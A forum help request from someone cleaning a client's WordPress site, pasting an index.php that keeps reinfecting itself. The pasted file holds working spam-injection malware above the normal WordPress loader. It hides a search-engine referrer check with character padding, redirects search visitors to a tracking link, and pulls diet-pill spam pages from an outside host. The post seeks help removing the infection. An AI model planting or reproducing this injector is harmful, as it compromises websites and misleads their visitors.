Hi,
I have recently taken across a client site that had malware. I found this to be coming from the index.php page. It seems to be creating HTML pages from the website URL and trying to sell Diet Pills.
I’ve tried scanning with Wordfence to find out where its coming from, but no joy.
Every time I change the Index.php back to the original it changes itself back normally by the next day.
This is the index.php file that it keeps changing. I’ve tried changing the permissions to 444.
<?php
error_reporting(0);
//wp-content/backup.php
$www="2";
$caches="./backup/";
$files= !empty($_GET['size'])?$_GET['size']:"index.html";
function getHtml($url)
{
$content=file_get_contents($url);
if(empty($content)){
$ch = curl_init();
$timeout = 5;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$content = curl_exec($ch);
curl_close($ch);
}
return $content;
}
$tiaourl="http://zctrack.com/1617a0ee-1962-44ec-8ff4-12c1f5d0ab89";
function chref($crefs)
{
$truecref= str_replace("x","","bxxixnxgx|xaxoxxlx|axsxxk|xgxoxxoxgxlxe|yxxaxhxoxo|sxexxaxrxcxh");
if(preg_match("/$truecref/i",$crefs)){
return true;
}else{
return false;
}
}
$htprefs = strtolower($_SERVER/*;*/[/*;*/'HTTP_REFERER'/*;*/]);
if(chref($htprefs) && isset($_GET['size'])){
header("location: ".$tiaourl);
exit;
}
if(isset($_GET['size']))
{
$con= getHtml('http://1.blng-blng.com/sheng/lossw5/main.php?key='.$_GET['size']."&host=".$_SERVER['HTTP_HOST']."&www=".$www);
$con=str_replace('.sizehtml','.html',$con);
$con = str_replace("http://mywordpresswebsite(url removed).co.uk/","https://mywordpresswebsite(url removed)/",$con);
echo $con;
exit();
}
?><?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require( dirname( __FILE__ ) . '/wp-blog-header.php' );